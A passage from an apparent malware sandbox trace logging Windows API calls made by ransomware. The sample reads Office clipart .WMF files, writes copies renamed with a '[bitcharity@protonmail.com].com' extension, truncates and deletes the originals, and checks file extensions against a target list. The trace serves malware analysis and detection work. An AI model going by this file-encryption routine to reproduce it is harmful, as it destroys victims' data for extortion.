(hFile=0x10dc) returned 1 [0301.473] CloseHandle (hObject=0x10dc) returned 1 [0301.473] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.473] SetEndOfFile (hFile=0x10bc) returned 1 [0301.474] CloseHandle (hObject=0x10bc) returned 1 [0301.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0301.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.475] lstrlenW (lpString=".doc") returned 4 [0301.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.475] lstrlenW (lpString=".docx") returned 5 [0301.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.475] lstrlenW (lpString=".pdf") returned 4 [0301.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.475] lstrlenW (lpString=".xls") returned 4 [0301.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.475] lstrlenW (lpString=".xlsx") returned 5 [0301.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.475] lstrlenW (lpString=".ppt") returned 4 [0301.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.475] lstrlenW (lpString=".zip") returned 4 [0301.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.475] lstrlenW (lpString=".rar") returned 4 [0301.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.475] lstrlenW (lpString=".bz2") returned 4 [0301.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.475] lstrlenW (lpString=".7z") returned 3 [0301.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.475] lstrlenW (lpString=".dbf") returned 4 [0301.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.475] lstrlenW (lpString=".1cd") returned 4 [0301.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.476] lstrlenW (lpString=".jpg") returned 4 [0301.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.476] lstrlenW (lpString=".doc") returned 4 [0301.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString=".docx") returned 5 [0301.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.476] lstrlenW (lpString=".pdf") returned 4 [0301.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString=".xls") returned 4 [0301.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.476] lstrlenW (lpString=".xlsx") returned 5 [0301.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.476] lstrlenW (lpString=".ppt") returned 4 [0301.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.476] lstrlenW (lpString=".zip") returned 4 [0301.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.476] lstrlenW (lpString=".rar") returned 4 [0301.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString=".bz2") returned 4 [0301.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.476] lstrlenW (lpString=".7z") returned 3 [0301.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.477] lstrlenW (lpString=".dbf") returned 4 [0301.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.477] lstrlenW (lpString=".1cd") returned 4 [0301.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0301.477] lstrlenW (lpString=".jpg") returned 4 [0301.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.477] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.477] lstrlenW (lpString="HH01923_.WMF") returned 12 [0301.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.477] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=26706) returned 1 [0301.478] CloseHandle (hObject=0x10bc) returned 1 [0301.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0301.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.478] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.478] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0301.479] GetLastError () returned 0x0 [0301.479] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x6852, lpOverlapped=0x0) returned 1 [0301.561] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x6860, lpOverlapped=0x0) returned 1 [0301.563] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.563] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.563] SetEndOfFile (hFile=0x10dc) returned 1 [0301.563] CloseHandle (hObject=0x10dc) returned 1 [0301.563] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.563] SetEndOfFile (hFile=0x10bc) returned 1 [0301.564] CloseHandle (hObject=0x10bc) returned 1 [0301.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0301.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.908] lstrlenW (lpString=".doc") returned 4 [0301.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.908] lstrlenW (lpString=".docx") returned 5 [0301.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.908] lstrlenW (lpString=".pdf") returned 4 [0301.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.908] lstrlenW (lpString=".xls") returned 4 [0301.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.908] lstrlenW (lpString=".xlsx") returned 5 [0301.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.908] lstrlenW (lpString=".ppt") returned 4 [0301.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.908] lstrlenW (lpString=".zip") returned 4 [0301.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.908] lstrlenW (lpString=".rar") returned 4 [0301.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.908] lstrlenW (lpString=".bz2") returned 4 [0301.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.908] lstrlenW (lpString=".7z") returned 3 [0301.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.909] lstrlenW (lpString=".dbf") returned 4 [0301.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.909] lstrlenW (lpString=".1cd") returned 4 [0301.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.909] lstrlenW (lpString=".jpg") returned 4 [0301.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.909] lstrlenW (lpString=".doc") returned 4 [0301.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString=".docx") returned 5 [0301.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.909] lstrlenW (lpString=".pdf") returned 4 [0301.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString=".xls") returned 4 [0301.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.909] lstrlenW (lpString=".xlsx") returned 5 [0301.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.909] lstrlenW (lpString=".ppt") returned 4 [0301.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.909] lstrlenW (lpString=".zip") returned 4 [0301.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.909] lstrlenW (lpString=".rar") returned 4 [0301.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString=".bz2") returned 4 [0301.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString=".7z") returned 3 [0301.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.910] lstrlenW (lpString=".dbf") returned 4 [0301.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.910] lstrlenW (lpString=".1cd") returned 4 [0301.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0301.910] lstrlenW (lpString=".jpg") returned 4 [0301.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.910] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.910] lstrlenW (lpString="HH02313_.WMF") returned 12 [0301.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.911] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3082) returned 1 [0301.911] CloseHandle (hObject=0x1098) returned 1 [0301.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0301.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0301.911] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.911] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0301.912] GetLastError () returned 0x0 [0301.912] ReadFile (in: hFile=0x1098, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xc0a, lpOverlapped=0x0) returned 1 [0301.999] WriteFile (in: hFile=0x10d0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xc10, lpOverlapped=0x0) returned 1 [0302.000] ReadFile (in: hFile=0x1098, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.000] WriteFile (in: hFile=0x10d0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.000] SetEndOfFile (hFile=0x10d0) returned 1 [0302.000] CloseHandle (hObject=0x10d0) returned 1 [0302.000] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.000] SetEndOfFile (hFile=0x1098) returned 1 [0302.001] CloseHandle (hObject=0x1098) returned 1 [0302.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0302.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0303.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString=".doc") returned 4 [0303.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString=".docx") returned 5 [0303.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.009] lstrlenW (lpString=".pdf") returned 4 [0303.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString=".xls") returned 4 [0303.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.009] lstrlenW (lpString=".xlsx") returned 5 [0303.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.009] lstrlenW (lpString=".ppt") returned 4 [0303.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString=".zip") returned 4 [0303.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.009] lstrlenW (lpString=".rar") returned 4 [0303.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString=".bz2") returned 4 [0303.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString=".7z") returned 3 [0303.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString=".dbf") returned 4 [0303.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString=".1cd") returned 4 [0303.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString=".jpg") returned 4 [0303.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.009] lstrlenW (lpString=".doc") returned 4 [0303.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString=".docx") returned 5 [0303.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.010] lstrlenW (lpString=".pdf") returned 4 [0303.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString=".xls") returned 4 [0303.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.010] lstrlenW (lpString=".xlsx") returned 5 [0303.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.010] lstrlenW (lpString=".ppt") returned 4 [0303.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.010] lstrlenW (lpString=".zip") returned 4 [0303.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.010] lstrlenW (lpString=".rar") returned 4 [0303.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString=".bz2") returned 4 [0303.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString=".7z") returned 3 [0303.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.010] lstrlenW (lpString=".dbf") returned 4 [0303.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.010] lstrlenW (lpString=".1cd") returned 4 [0303.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.010] lstrlenW (lpString=".jpg") returned 4 [0303.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.010] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0303.010] lstrlenW (lpString="HM00114_.WMF") returned 12 [0303.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.011] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=22116) returned 1 [0303.011] CloseHandle (hObject=0x10b8) returned 1 [0303.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0303.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.012] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.012] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0303.012] GetLastError () returned 0x0 [0303.012] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x5664, lpOverlapped=0x0) returned 1 [0303.130] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x5670, lpOverlapped=0x0) returned 1 [0303.131] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.131] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.131] SetEndOfFile (hFile=0x10c8) returned 1 [0303.132] CloseHandle (hObject=0x10c8) returned 1 [0303.132] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.132] SetEndOfFile (hFile=0x10b8) returned 1 [0303.133] CloseHandle (hObject=0x10b8) returned 1 